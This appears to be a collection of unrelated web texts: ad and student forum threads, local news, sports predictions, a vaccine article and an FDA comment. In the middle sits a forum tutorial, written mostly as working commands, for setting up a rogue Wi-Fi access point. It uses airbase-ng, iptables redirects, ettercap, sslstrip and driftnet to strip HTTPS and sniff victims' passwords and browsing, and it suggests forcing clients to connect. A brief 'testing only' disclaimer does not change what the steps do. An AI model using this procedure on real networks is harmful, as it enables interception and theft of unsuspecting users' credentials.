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Ambient advertisment created by TBWA, Canada for BC Lottery Corporation, within the category: Gaming.
Creative Director: Paul Little
Copywriter: Dan Nelken
Art Director: John Williamson
Production: Julian Davis
Buy a ticket for Gay Pride Week?
Sorry, nice idea, but there's no connection between the lights and the billboard design.
didn't get it when i first saw it... so thats no good for ambient.
I also didn't think of an rainbow. serious... rainbow at night?! At
daytime this won't be working... right? And it's not bent like a
rain"bow". It looks more like an homosexual-flag.
sorry guys...
I got it! You would not see the bend in the rainbow if you were at the end of it. That is like saying you can see the sun rays bend around the Earth when everyone knows the Earth is flat. Jez..
I think its clever. It communicates nicely. And I believe everyone on this site would be gay if they won 27 million. So either way it works :)
Def. works. Not sure if it's an instant read to some people's point. Sign is kind of plain and retail, but that's not necessarily a bad thing. Overall, it's a nice thought. Can this work during daytime, too?
I always laugh when everyone makes remarks about how an ad sucks when it's already cleaned up at a few of the international awards. It's even funnier that some people a)Don't get a brilliant idea and b)Try to critique it as if hoping the agency will make the relevant changes because of AOTW posters' criticisms. Straight art direction when the extension of the idea is twisted is fine in my book.
(1) What awards did this get?
(2) Was it truly that bad a year for entries?
I think it's quite clever and got it right away. I think we can safely assume that everyone has heard the term, "Pot of Gold/Fortune" at the end of the rainbow. Combine that with the billboard underneath and the brain does the rest. We need to have some faith in consumers. If the light was powerful enough, maybe it could even work on a cloudy day, where rainbows are still very common.
Maybe this is the beginning of the rainbow? (and that building doesn't like too high, if there really was a pot of gold there, i'd invest in some ladders or whatever..)
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A recall of two Fontana school board members appears to be gaining momentum with Mayor Aquanetta Warren pledging to see the question put before voters in an upcoming election.
At a Fontana Unified School District board meeting last week, Warren spoke during the public comment period and urged community members to help her with the recall. She later told our reporter that she is "all in" and committed to bringing the recall to a future ballot.
The mayor's announcement is the latest salvo in a "war" she declared last year against school board members Leticia Garcia and Sophia Green, targets of the recall, when they raised questions about how the city was managing an after-school program it runs in partnership with Fontana Unified.
Warren denied having anything to do with the recall when it was announced in July; she clearly is on board now.
Warren says she has raised $30,000 for the recall campaign, and she has taken to social media to drum up support for the ouster. Recall organizers have until Jan. 30 to collect 7,905 valid signatures for each board member; a special election could be held as early as spring 2013.
Recall petitions initially delivered to Garcia and Green in July outlined several grievances - including a budget-cutting vote to eliminate the district's counselors and a failed parcel tax that cost the district $147,000.
Elected school board members should be held accountable for the decisions they make, but we can't support following one costly special election with another. A spring 2013 recall could cost the district $200,000 - money that would be better spent on instruction and other programs for Fontana's school kids.
A recall is a powerful tool for voters, but one which we have long argued should be used only for the most egregious abuses of public trust.
Near as we can tell, Garcia's and Green's biggest sins were asking questions some folks, including the mayor, found offensive. Garcia, in particular, seems to favor "gotcha"-style questioning.
It's not the way we'd go about getting information, but is a confrontational manner really worth a $200,000 recall?
We don't think so. There has to be a better way to solve personal conflicts than at the ballot box.


text: FRIDAY, MAR. 9: So he's gone. After weeks of intense speculation from 'pundits' and mounting media pressure a man who will be remembered simply as three letters was shown the door at Stamford Bridge. Most managers get their marching orders after a string of embarrassing defeats; when relegation rears its head and fans make up placards with the imaginative word 'Out' on them. But AVB leaves Chelsea fifth in the league, still in the Champions League and with every chance of lifting the FA Cup. Not bad for a 34-year-old in his first year in the Premiership. Maybe the moneyman who chooses the managers should shoulder the blame for the procession of 'failures'? Saturday Bolton v QPR 8:45am This bottom of the table clash is set to be a gritty, old school affair, but Bolton will be hoping their loyal supporters can cheer them to victory. The home side are still languishing in the bottom three, level on points with Wigan at the foot of the table. And they are stuck in hopeless rut of poor results as it's now five matches since their last win. But three points against fellow strugglers Rangers could see Wanderers jump out of the relegation zone and into the safer regions of the bottom half of the league, for the time being at least. BDA Sun prediction: 2-1 Aston Villa v Fulham 11am Fulham will fancy their chances at Villa Park after last week's 5-0 drubbing of Wolves. Especially as Villa have not won at home since early November and attendances in Birmingham are down around 10 per cent on last season. To make matters worse for the home side they are missing their golden boot, Darren Bent, who underwent successful ankle surgery this week. Martin Jol's men are flying high on the back of a three-game winning streak and in Clint Dempsey and Pavel Pogrebnyak they have strikers on a hot run of form. BDA Sun prediction: 0-1 Chelsea v Stoke 11am The Chelsea horror show/debacle continues with the Blues' first home game since the three initialled wonder was sent packing. Roberto Di Matteo will be pleased to be back at headquarters for this one, which is likely to be a tough, bruising and physical encounter. Andy Pulis's men hover in mid-table mediocrity at the moment, and still have a hand to play in the FA Cup. But there will be nothing sedate in their approach to Saturday's clash; they'll be desperate to strike at the wounded beast's jugular. BDA Sun prediction: 1-1 Sunderland v Liverpool 11am The Reds will have to snatch all the spoils from this clash if they want to keep alive their slim hopes of a top four finish and a Champions League place. Both teams will be hurting from last weekend's results, which saw the Gunners pinch an injury time winner at Anfield and the Black Cats give up a last minute equalizer to their bitter rivals Newcastle in a petulant affair. Kenny Dalglish will leave his players in no doubt how important this game and three points are, so you can expect them to come out firing with a point to prove. While for Martin O'Neill the honeymoon period looks to be coming to an end. BDA Sun prediction: 1-2 Wolves v Blackburn 11am Wolves have the proverbial six-pointer this weekend against fellow relegation strugglers Blackburn. Against them will be the hangover from the 5:0 thrashing they suffered last weekend to Fulham. But in their favour will be the loyal roar of the Molyneux faithful. Both sides are level on points, along with QPR, so a win would be a 'huge', 'massive', or even simply a 'big' result in the context of the end of season standings. On the other hand the magnitude of the occasion might just mean each side cancels each other out. BDA Sun prediction: 1-0 Everton v Tottenham 1:30pm At a time when people across the world are desperate for a job of any description lucky old Harry Redknapp seems to have been linked with every job in the UK. Well maybe that's a bit of an exaggeration, but he has plenty on his plate just being the boss of Spurs after defeats to Manchester Utd and Arsenal in recent weeks. Spurs still have a little bit of breathing space in the top four from the chasing pack, but a win at Goodison would be a welcome relief after what Harry dubbed a 'soul destroying' defeat to their bitter rivals last weekend. Everton on the other hand are six games without a loss now, and floating harmlessly in 13th place. BDA Sun prediction: 1-2 Sunday Man Utd v West Brom 10am Beating Chelsea at the Hawthorns was not just a great result for West Brom, but it was also the final straw that broke the camel's back for a certain Mr AVB. Old Trafford will be a different hunting ground for Roy Hodgson, especially against a United team with its tail up. Sir Alex's men are closing in on their bitter rivals. And a win on Sunday could take them to the top of the league if City fail to pick up any points on their visit across the border to Wales. It's six games without a loss for United now – and they are beginning to look slightly ominous. BDA Sun prediction: 3-1 Swansea v Man City 10am Roberto Mancini must feel a little bit like a zebra being chased across the African plains by a hungry lion. He knows Alex Ferguson/the lion is behind him somewhere, but he's just not sure where. While the king of the jungle is just waiting for his prey to make a mistake before he makes the kill. City face a tough game against a battling Swans side that have achieved their first goal of staying up. But if Mancini's men stumble…. BDA Sun prediction: 1-2 Norwich v Wigan noon Wigan have won just two games since December, so it is hardly surprising that Roberto Martinez's side is propping up the table. But they are not doomed by any stretch of the imagination. A win at Norwich and a couple of other results going their way elsewhere and they could be up to 16th. Just two points separate the bottom five clubs, so Martinez will be telling his men there is still everything to play for. The Canaries on the other hand are sitting pretty at present, which may play into Wigan's hands as they fight for their Premier League survival. BDA Sun prediction: 0-1


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As a gynecologic oncologist, Dr. Diljeet Singh is on the front
lines treating women with the devastating effects of cervical
cancer. So when a vaccine to prevent Human Papillomavirus (HPV),
which causes most cervical cancers, was approved for use in the
United States, she was thrilled.
"I'm an oncologist, so to me preventing cancer is key," says
Singh, co-director of the ovarian cancer early detection program at
Northwestern Memorial Hospital.
Dr. Diana Zuckerman also admits to being thrilled when Gardasil
was approved to vaccinate girls against HPV. Zuckerman, president
of the National Research Center for Women & Families in
Washington, D.C., says since then she has analyzed reams of
research and attended more meetings concerning the vaccine than she
can even describe.
for her and other staff members at her organization, whose sole
purpose is to provide unbiased analysis of current research, the
initial excitement has turned into skepticism about the wonders of
the vaccine.
"We started out quite enthusiastic about Gardasil for girls.
We've become less enthusiastic because we think the manufacturer is
not being forthcoming about how long it lasts," Zuckerman says.
"And it's so expensive, the most expensive vaccine ever sold in
this country, so you want to make sure it lasts."
HPV is the name for a group of viruses that cause cervical
cancer and genital warts. There are more than 120 types of HPV and
as many as 40 of them are spread through sexual contact, according
to the National Research Center for Women & Families. Many of
the approximately 6 million people who are infected with genital
HPV each year in the United States have no symptoms and don't know
they are infected and 90 percent of cases clear up on their own
without treatment. Not all HPV causes cancer, but 99 percent of
cervical cancer can be traced to infection with a strain of
Controversy over the vaccines
The controversy over the safety and effectiveness of the HPV
vaccine has ramped up in recent months with the approval in the
U.S. of a second anti-cancer vaccine, Cervarix, and with the
Centers for Disease Control and Prevention's approval of Gardasil
for boys as well as girls.
Now parents of tweens and teens are slogging through Internet
research and discussions with doctors to decide whether or not to
vaccinate their children. At the same time, many doctors are wading
through the same onslaught of information for and against the
Angie Brocato of Darien remembers her doctor bringing up the
vaccine when she brought her daughter in for a checkup at age 12.
She'd done some research on the vaccine and decided she wasn't
ready to vaccinate her daughter without more information.
A year later, when she brought her daughter in for another
checkup, the discussion again turned to the HPV vaccine. But this
time it was her doctor who told Brocato that, based on what she had
heard about the vaccine, she couldn't in good conscience recommend
"We had basically said we weren't going to, I still don't think
we'll get it," Brocato remembers. "And she said that she wasn't
comfortable with it either at this point."
Brocato, who has a 13-year-old daughter and an 11-year-old son,
is just one of many parents who want to do the best thing to care
for their children, but who aren't sure what the right answer is.
However, many national organizations, such as the American Academy
of Pediatrics and the Centers for Disease Control, say the decision
is easy-the vaccines, both Cervarix and Gardasil, are not only safe
but can effectively eliminate the virus that causes almost all
cases of cervical cancer.
"This is a very clearly needed vaccine for adolescent girls,
reducing their lifetime risk of cervical cancer and it is very
important as a preventive measure for the health of all women,"
says Dr. Joseph Bocchini, chairperson of the AAP's committee on
infectious diseases and chairman of the Department of Pediatrics at
Louisiana State University Health Sciences Center in
Who's actually recommending?
But some parents, and experts, think Gardasil has been so
heavily marketed that a doctor's recommendation isn't enough to go
on when considering the vaccine for their children. Because
vaccines in the United States are created by companies whose goal
is to make a profit, it's not always easy to determine objectively
the value of a specific vaccine.
"Parents have to remember that people are selling this product
and, like any product that's being sold, people have a vested
interest in selling their product and making money and that puts
parents in a difficult spot when deciding," Zuckerman says.
"There's a lot of hype-the ads would make you think your daughter
will get cervical cancer unless she gets this vaccine. But cervical
cancer is still a pretty rare cancer in this country and the
vaccine is, at most, 70 percent effective and probably less over
How long does it last?
Part of the controversy with the HPV vaccines revolves around
how long the vaccines actually provide immunity. Because both
Gardasil and Cervarix have been around for less than 10 years, it's
not known if the immunity from HPV lasts indefinitely or if it
wanes over time. Glaxo, which manufactures Cervarix, has
distributed more than 7 million doses of the vaccine in other
countries and has tracked immunity for the 6.4 years since
vaccinations started. While they will continue to track immunity,
current research shows that immunity continues for at least that
length of time, says Jeff McLaughlin, spokesperson at Glaxo.
Merck, the manufacturer of Gardasil, has also tracked the
ongoing immunity provided by the vaccine. At this point Gardisal
shows immunity for five years, and ongoing studies will continue,
says Jennifer Allen Woodruff, spokesperson for Merck. In one study,
a challenge dose was given to women five years after receiving the
vaccine to check immune response. Woodruff says this dose is given
to check if immune memory is evident at that point because studies
can't expose women to the actual virus.
"We have seen what is called immune memory with Gardasil, and
that's considered to be a hallmark of long-term value for the
vaccine," Woodruff says. At this point there is no indication that
a booster shot would be needed, she says.
Zuckerman says it's not quite that clear-cut. "We're
particularly concerned about Gardasil, not Cervarix, because in the
one study Merck did about girls and young women, they gave a
challenge dose of the vaccine at 60 months and then they measured
their antibodies a short time later," she says. "To us, that looks
like a booster shot. ... At three years, it looks like some of the
protection is wearing off. In contrast, Cervarix is working longer
than six years."
But the AAP's Bocchini says it's not unusual for vaccine
immunity to wane over time. "These are new vaccines, so the thing
we don't know is how long the immune response will last to enable
the vaccines to remain effective," he says. "We have data out to at
least six years and the vaccines remain effective at least six
years, but longer than that we don't know. We don't know whether
immunity will be lifelong or will require a booster."
He says it's important to give the shot early, even if a booster
might be needed later. "It's really important to still give this
vaccine prior to the onset of sexual activity."
Safety concerns
How long the vaccine lasts isn't the only concern for
Recent media reports about girls who contracted fatal or
debilitating illnesses such as Guillain-Barre Syndrome after
receiving the vaccine have created Internet storms as parents react
to the possibility that the vaccine isn't completely safe.
But many of the experts in favor of the vaccine point out that
no studies have linked GBS to the vaccine, and the number of people
contracting those illnesses are the same whether individuals are
vaccinated or not.
"Since we give this vaccine to large numbers of patients, when
an event occurs after vaccines, we have to determine if the vaccine
caused it or if it occurred by chance," Bocchini says. "At this
point, the events that have occurred have been at a frequency that
is no greater than we would expect in the general population.
Although we have to continue to monitor for safety issues, there is
no safety issue that has come up to cause concern about either
Singh also thinks cautionary stories in the media haven't stood
up to investigation.
"When most of these stories are really followed down, they
haven't clearly connected the vaccine to someone dying of
something," she says, noting that no vaccine comes without risk, so
the decision to vaccinate comes down to evaluating whether or not
the benefits outweigh the risks. When it comes to preventing
cancer, she says the benefits of either vaccine outweigh the
possibility of any rare complications.
Another part of the controversy, Singh says, involves the fact
that these vaccines are for sexually transmitted diseases, and many
parents of tweens aren't ready to tackle the issue of their
children's sexuality.
"The thing I find fascinating about this discussion, we give
Hepatitis B (vaccines) to babies when they're born. You get Hep B
from sex or needles. Nobody says, my baby's been vaccinated, that
means he or she will run out and have sex because she had (the
vaccine)," Singh says. But some parents don't want their children
to be overly confident about their level of protection from the
vaccine once they become sexually active.
Angie Brocato admits to thinking about future attitudes when
deciding whether to vaccinate her daughter. "I didn't want her to
have any kind of false security over so-called safe sex. I don't
want these girls to think they've got this shot and they're not
subject to gonorrhea or HIV, and this shot only takes care of a few
strands of one particular disease."
Zuckerman, who agrees the vaccines appear to prevent about 70
percent of HPVs, also notes that 30 percent of the viruses are not
covered. "At best, it's an imperfect vaccine."
Vaccinating boys
With the recent approval of Gardasil for boys, parents need to
have even more discussions with their doctors. In October, the CDC
approved Gardasil for "permissive use" in males. It stopped short
of recommending it for boys, leaving the decision to parents and
doctors. Gardasil provides protection for boys from HPV-related
genital warts.
"If you vaccinate all girls and boys, yes, it'll cost twice as
much, but ... if you think about, that's how the virus is passed
around, you get herd immunity," Singh says. "And genital warts are
a drag. If we can affect boys' protection, why not? Plus it gets
rid of the stigma, of making it a girls' problem."
But the issue of how long the vaccine provides immunity is just
as critical for boys, Zuckerman says, and it makes the decision to
vaccinate even less clear-cut. "We don't think 12-year-old boys are
at a big risk of genital warts.
The risk gets a lot higher when they get older," she says. "We
don't think most families are going to want to vaccinate their
boys, at $400 a vaccine every few years, to protect against genital
Making the decision
While some other states have mandated the vaccine, in Illinois
the decision to vaccinate comes down to the parent's choice.
Deciding whether to vaccinate using Gardasil or Cervarix also rests
with parents and their doctors.
While the AAP recommends children receive the vaccine at ages 11
or 12, Zuckerman says a wait-and-see approach regarding the
vaccines won't hurt.
"For those who are a little concerned and would like to know
more before they vaccinate, it appears that delaying vaccination
for a few years is not a really big problem, but a sexually active
teen should get pap smears."
All the experts agree that whether children are vaccinated or not,
pap smears, once they become sexually active, remain a key element
in preventing cervical cancer and shouldn't be overlooked in the
fight against the disease.
Singh also recommends that parents who aren't getting the
answers they need from their pediatrician regarding the vaccines
should continue to ask the questions until they're comfortable with
their decision. "Talk to your OB/GYN. Seek out other information,"
she says. "There's too much information out there in some ways, but
people can try to direct you towards good vaccination
Liz DeCarlo is the former senior editor at Chicago Parent.
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Science Finds A Way To Make Bulletproof Silk
We typically think of silk as a soft, delicate fabric, difficult to wash and easy to destroy. But scientist Randy Lewis, in collaboration with Dutch artist Jalila Essaidi, found a way to transform silk into a bulletproof skin-like material. Okay, great. So what? Well, the idea is that the pair's early experiments will one day evolve into a synthetic human skin product — for use with burn patients — and help create artificial tendons and ligaments.
The silk skin (pictured) was created using genetically modified silk worms, which had been injected with spider genes. Spider silk is known to be five times stronger than steel. "Randy and I were moved by the same drive I think, curiosity about the outcome of the project," said Essaidi. "Both the artist and scientist are inherently curious beings." And yes, bulletproof vests and such already exist. But what if we had the ability to produce bulletproof-ness in our own skin? "If human skin would be able to produce this thread, would we be protected from bullets?" Essaidi wrote on her blog. "I want to explore the social, political, ethical and cultural issues surrounding safety in a world with access to new biotechnologies."
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Baton Rouge lawyer Joel Porter is firing back at a former client who has accused him of stalking and harassing her after allegedly representing her in return for sexual favors.
Porter describes Ashley Smith's allegations as "false, malicious and defamatory" in a lawsuit he filed against her Tuesday in the 19th Judicial District Court.
Porter is seeking damages from Smith, who he claims has caused him to suffer "irreparable and incalculable harm" to his character, reputation and good name, and marketability.
Porter, 56, and Smith, 25, of Baton Rouge, are scheduled to appear next week in East Baton Rouge Parish Family Court for a hearing on her May 15 petition for a protective order against him. A protective order that Family Court Judge Pamela Baker issued that day remains in effect through the June 4 hearing date.
"Ms. Smith sought and is seeking protection from Mr. Porter and this lawsuit appears to be yet another attempt by Mr. Porter to have contact with Ms. Smith," lawyer Jill Craft, who represents Smith, said Thursday. "Ms. Smith is very much looking forward to her day in Court and closing what was a very difficult and frightening situation for her."
Smith originally obtained a protective order against Porter from Baton Rouge City Court Judge Yvette Alexander on April 7, but retired Family Court Judge Luke Lavergne — filling in for Alexander — dissolved the order May 12 because Smith did not allege either a domestic or dating relationship with Porter.
Smith refiled her petition May 15 in Family Court, checking a box on the petition that describes Smith as a current or former dating partner of Porter.
Donna Grodner, one of Porter's attorneys, said the refiled petition is just another attempt to libel and slander Porter.
"Ms. Smith's bizarre suit has already been thrown out once," Grodner added Thursday.
Porter contends in his lawsuit that he has never been on a date with Smith, and has never committed any physical, emotional, mental or verbal acts or violence against her. He also claims he has never stalked, followed or chased Smith and has never sexually harassed her.
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Hi, just wondered if anyone could give me some advice about the halls in bangor. I am 25 and hoping to start in september, but just cant decide whether to go in to halls or private rented accomadation. Even though im a bit older than the majority of new first years, id still like to be able to socialise and meet new people. If i went into a private rented house do you think it might be harder to integrate. On the other hand, i also want to make sure i can study in a bit of a quieter environment thats not to isolated! ha not fussy am i! so any input in helping me decide would be much appreciated.
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I have a friend who is slighlty older than you and she lives in halls and I do think it's the best option. I find in Bangor there are quite a few mature students but it's not like 'oh there older than me' everyone just gets on with everyone so I wouldn't worry about your age.
Plus halls are a laugh and you get to meet new people really easily. Bangor also dedicates some halls off for those who would like quieter halls which for next year I believe are Cefn Y Coed up on Ffriddoedd site which is the main uni halls site. I live in identical halls currently and there pretty decent. But I'm so glad I live in halls not only because you make friends via your flatmates but becasue everyone else is aorund you also so it makes socialising really easy especially in your first year
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thanks for your reply, that was really helpful, i think i will go into halls and just request one of the quieter halls. im hoping to study biomedical science, just on an access course at the mo, so fingers crossed! what year are you in, u found it pretty easy to settle in then?
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thanks for your reply, that was really helpful, i think i will go into halls and just request one of the quieter halls. im hoping to study biomedical science, just on an access course at the mo, so fingers crossed! what year are you in, u found it pretty easy to settle in then?
I was so nervous leading up to coming to uni but I found it so easy to settle in and meet people. They make so many oppurtunities for you to do so and you just have to remember everyone's in the same boat so just say hi to everyone and your easily find new friends.
Obviously they'll be times you do get unsettled, I know I've had moments when I wanted to quit, still do now but when I refelct I wouldn't change it for the world.
Good luck, hope you get the results you need. If you have any more questions feel free to ask
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hiya, i know i'm replying quite some time after you've posted but i stumbled across your thread on google.
I am starting at Bangor as a mature student this September too. I'm in halls, Seiriol.
I just wanted to introduce myself, maybe we could get to together in freshers week
Mature freshers seem to be a rarity lol
What are you studying, did you manage to get into halls?
Hope you get this reply ?!?!?
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I'm a mature student this year too. They gave me a room in the quiet block too, so I'm pretty chuffed.
Must admit I'm a wee bit nervous though. What with having to live with strangers and all
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Im packing up now and getting ready to come tomorrow - its been a while since Ive been a student so pretty nervous! Not in halls - in Upper Bangor somewhere.
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I will update this tutorial as I find and learn about new interesting MITM tools to use.
PURPOSE OF THIS TUTORIAL: Setting up a fake AP so clients can connect (or be forced to connect) and surf the internet like on a real AP, while we sniff their data/passwords and such, as we will be the Man In The Middle without the victim(s) knowing.
NOTE: this is for testing purposes only, it's illegal to mess with clients/AP's that don't belong to you, and I will not help if I notice you're doing so.
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- A wireless injection-capable card (preferably with a well supported chipset like RTL8187, RT73, ..)
- A second wired/wireless interface for an internet connection (a wired interface is recommended)
- Semi-advanced Linux/Backtrack/Aircrack suite skills
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I will use mon0 (my monitor interface), and eth1 (internet), CHANGE those to your interfaces.
also, you will need to find your internet standard gateway, and DNS name server(s).
(my internet gateway and DNS name server are the same, 192.168.2.1)
STEP 1: Establish an internet connection:
STEP 2: Start your wireless interface in monitor mode:Code:
dhclient eth1
(make sure you'll use your monitor interface in step 4!)
STEP 3: Configuring the dhcpd.conf:Code:
airmon-ng start wlan0
(on your root directory (deskpage), make a new text file, name it dhcpd.conf
open it with kate, and paste this)
CHANGE the domain-name-server(s) to yours! the rest stays the same. save the file.Code:
ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.2.128 netmask 255.255.255.128 {
option subnet-mask 255.255.255.128;
option broadcast-address 192.168.2.255;
option routers 192.168.2.129;
option domain-name-servers 192.168.2.1;
range 192.168.2.130 192.168.2.140;
STEP 4: Setup fake AP:
(look at this airbase-ng info page to learn how you could setup different types of fake AP's)
STEP 5: Assign an IP, netmask, gateway and set route for at0:Code:
airbase-ng -e wifree mon0
(at0 is the TAP interface that's auto-created by airbase)
STEP 6: Configure and start dhcp3 server:Code:
ifconfig at0 up
ifconfig at0 192.168.2.129 netmask 255.255.255.128
route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129
(so clients who connect to your fake AP will get an IP adress and such)
STEP 7: Configure routing tables:Code:
mkdir -p /var/run/dhcpd && chown dhcpd:dhcpd /var/run/dhcpd
echo > '/var/lib/dhcp3/dhcpd.leases'
dhcpd3 -d -f -cf /root/dhcpd.conf -pf /var/run/dhcpd/dhcpd.pid at0
(so an internet connection will be avaible on your softAP)
CHANGE the standard gateway to your internet standard gateway!Code:
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables --table nat --append POSTROUTING --out-interface eth1 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.2.1
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
and also the interface to your interface with internet connection.
STEP 8: Start MITM tools:
(I will use ettercap, sslstrip, and driftnet, but you can do as you please.)
=> STEP 8.1: Change etter.conf file:
(this is necessary for ettercap to function properly)
(scroll down the file, search for "Linux", "if you use iptables", "#redir_command_off" and "#redir_command_on", just delete those two "#" signs, that all you need to do, save the file.)Code:
kate /etc/etter.conf
=> STEP 8.2: Start ettercap:
(to sniff passwords and such)
=> STEP 8.3: Start sslstrip:Code:
ettercap -T -q -p -i at0 // //
(to strip down secure https sites the victim visits, like hotmail.com, gmail, .. so the login details can be sniffed)
=> STEP 8.4: Start driftnet:Code:
echo 1 > /proc/sys/net/ipv4/ip_forward
sslstrip -a -k -f
(this will show all the images the victim sees in his browser)
that's it! if you got all this down, well done.Code:
driftnet -v -i at0
Now you should learn how airdrop-ng/mdk3 works to force clients(victims) to connect to your fake AP, so you can sniff their data.
If you followed this tutorial correctly, your fake AP should be almost as fast like your real AP, at least, mine always is.
I cannot tell the difference between surfing on the fake and on my real AP, but on the fake, everything gets sniffed :)
note that I am still a semi-noob myself, it could be that some of the commands I provided aren't 100% correct, but this is just the way I do it.
I had to figure it all out by myself, looking at other tutorials and piecing the puzzle together,
and it's working amazingly well for me.
If you're experiencing slow internet on your rogue AP, try it on a different pc! I also had to do this, when using the exact same commands and same alfa adapter on my laptop, it doesn't work. I don't know why, maybe hardware related.
Changing interface MTU values like some people suggest didn't work for me.
On my older pc, this way, this tutorial I made works perfect.
Lastly, always remember you could go to jail when doing stuff like this to people you don't know, or don't have the authority to do so, DON'T DO IT.
If someone knows other neat mitm tools I could add, please share.
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| Drug Approvals: Circumstances under which an active ingredient may be simultaneously marketed in both a prescription drug product and an over-the-counter drug product
|FDA Comment Number :
|Submitter :
|Ms. Juanita Allen
|Date & Time:
|09/20/2005 04:09:10
|Organization :
|University of Utah College of Nursing
|Category :
|Drug Industry
|Issue Areas/Comments
| A. Should FDA initiate a rulemaking to codify its interpretation of section 503(b) of the action regarding when an active ingredient can be simultaneously marketed in both prescription drug product and an OTC drug product?
| As a medical professional I strongly oppose the FDA modifying section 503(b) to allow the morning after pill to be put on the counter to be used by anyone. It is irresponsible and could also be deadly. Please leave this drug in the hands of the trained professionals to dispense it wisely.
| A. If FDA limited sale of an OTC product to a particular subpopulation, e.g., by making the product available to the subpopulation by prescription only, would FDA be able to enforce such a limitation as a matter of law?
| Definately not, how could and would you? Wouldn't the cost far outweigh what some seem to be a benefit of this OTC drug. Are you not opening up a great can of worms for lawsuits against the FDA? There is great danger in allowing this type of drug to be use by anyone after their sexual experiences, would they delay the need for STD evaluations, would they wait too long and have further complications?
| Please do not allow this drug to be used OTC. It is not wise direction from the FDA, the risks and possible deaths far outweigh anything good that could come from it. Thank you.


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Gwyneth Paltrow dishes as co-host of 'girls' party'
NEW YORK – If Gwyneth Paltrow could have a prolonged, spirited discussion with anyone, it would be her husband, Coldplay frontman Chris Martin.
"My husband. It would be really cool. I'd ask him a bunch of questions," says Paltrow.
The actress, GOOP lifestyle guru and mom arrived in her hometown to co-host a dinner celebrating her pal Amanda de Cadenet, the host of Lifetime's The Conversation talk show (Thursdays, 11 p.m. ET/PT). The fete was thrown in conjunction with designer Diane von Furstenberg and was held at the clothier's downtown studio.
"Amanda and I are old friends. We met probably like in 1993 and stayed in touch," says Paltrow. "In the last 10 years, we became really close friends."
De Cadenet says she doesn't have a secret to having a deep conversation. "You just have to listen, be interested, and not talk over people," she says. And clearly, she's doing something right. On The Conversation, de Cadenet gets some of Hollywood's biggest names to open up about their lives, both personal and professional. Lady Gaga recently shared details of her past cocaine use, while Paltrow spoke at length about her father's death.
But Paltrow, 39, isn't always so forthcoming. The most annoying thing the actress, the subject of countless magazine covers, is asked on the interview circuit?
"I can't think of a specific question, but I guess it's when people haven't done their homework," she says. "And when they're asking you very obvious things."
De Cadenet, who's married to Strokes guitarist Nick Valensi, says she doesn't have a dream guest for the show. "There are so many amazing women in the world. I'm excited," she says. And de Cadenet isn't just interviewing her friends. "Less than 50% were my friends. I'd just met Zoe Saldana the day before (the interview). Diane (von Furstenberg) and I had just met," she said.
Adds von Furstenberg, who was on the show: "I had a great time. I e-mailed her and asked her if she wanted me to give her a party and she said yes and here we are. A girls' party." Among the guests at the shindig: Wendi Murdoch, Tina Brown, Rashida Jones and Diane Kruger.
It was a big weekend for Paltrow and Martin. The Avengers, which features a cameo by Paltrow as Pepper Potts, broke records at the box office, and Martin made news thanks to his heartfelt, soulful L.A. performance of (You Gotta) Fight for Your Right (to Party!) in tribute to Beastie Boy Adam Yauch, who died on Friday from cancer.
"I cried," says Paltrow, who was in the audience. "I cried many, many tears."
Paltrow is among a handful of A-listers in town to attend today's Costume Institute benefit gala at the Metropolitan Museum of Art, an annual event that attracts Hollywood's biggest names. Who's dressing Paltrow? "I'm wearing Prada," she says. "I haven't seen the dress or anything."
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My apologies for the short diary but I felt it was important to pass along this message from Jeremy Bird in the Obama campaign regarding what's really happening on the ground in Ohio. It's all about getting the vote out, and that's exactly what is occurring. Big time. Excepts from the memo below:
1. All public polling shows that the President has a double-digit lead among those who
have voted:
--Survey USA found that Obama leads by 19 points (57/38) among those who have
voted already.
Message from Obama campaign: We're winning Ohio. Period.
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The player many baseball observers consider to be Utah's top returning high school pitcher next season won't be returning to high school.
Brady Corless, a 17-year-old from Spanish Fork who was on The Tribune's first team all-state for baseball, has dropped out of school and will enroll at Salt Lake Community College in the fall after he passes his GED tests.
It's been a shocker to the Spanish Fork baseball team, but Corless says the move is an effort to better prepare himself for next year's Major League Baseball Draft. He was concerned that his development had stunted in high school.
"At SLCC, I feel like I'm going to get better," Corless said. "The way I see it, I've got a chance to make a dream become a reality fast. This will get me to the show faster."
No one's questioning that Corless has potential to be drafted. He's been pitching in the low 90s this summer, and sports a two-seam fastball, a four-seam fastball, a slider and a change-up in his arsenal. As one of Spanish Fork's top starters last season, he went 7-2 with a 1.97 ERA and 96 strikeouts.
But at least his old high school coach is questioning the path Corless is taking to try to make his big league dreams a reality. Coach Jim Nelson said he took offense to the notion that he couldn't prepare Corless for the draft.
"I disagree with it, and a lot of the baseball people I've talked to have disagreed with it," Nelson said. "But kids make these decisions and you can't really do much about it. I just hope he's the one making the decision and no one is making it for him."
A number of high profile baseball players have passed through Spanish Fork. In 2010, pitcher Adam Duke was drafted in the 16th round by Boston, but went on to play at Oregon State. First baseman and pitcher Kayden Porter was widely seen as the best major league prospect in the state this past season, but went undrafted after making it clear to scouts he was headed to the University of North Carolina to play in college.
Corless let Nelson know his intentions in the first week of June. Since then, he's been playing with the Utah Bucks travel squad, and made the Area Code Team for the Cincinnati Reds and performed well at the Perfect Game All-American Showcase.
He added that his siblings have all graduated early, and it's considered normal in his family. And he believes SLCC is the program that will help him build stock for next June.
"They've got a good training program and they're going to tune my mechanics," Corless said. "I've seen what [Coach David Nelson] can do with pitchers. I think this is the smart move."
Corless is planning to sign a letter of intent in July, pending his test results. He acknowledged many of his school friends have been surprised by the news, but he hasn't second-guessed himself.
Nelson said Corless' Dons teammates haven't been thrilled about the decision, but that Spanish Fork would move on without the player who likely would've anchored the rotation.
"You can't worry about what you don't have," Nelson said. "We've had good teams for a long time. We'll still be around next year."
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Focus on Economic Data: U.S. Employment and the Unemployment Rate, May 7, 2010
Each month, the Bureau of Labor Statistics (BLS) releases data from the monthly "Household Survey" conducted by the Bureau of the Census, providing a comprehensive body of information on the employment and unemployment experience of the U.S. population, classified by age, sex, race, and a variety of other characteristics.
The BLS also conducts the Current Employment Statistics (CES) program, surveying about 150,000 businesses and government agencies, representing approximately 390,000 individual work sites, in order to provide detailed industry data on employment, hours, and earnings of workers on nonfarm payrolls.
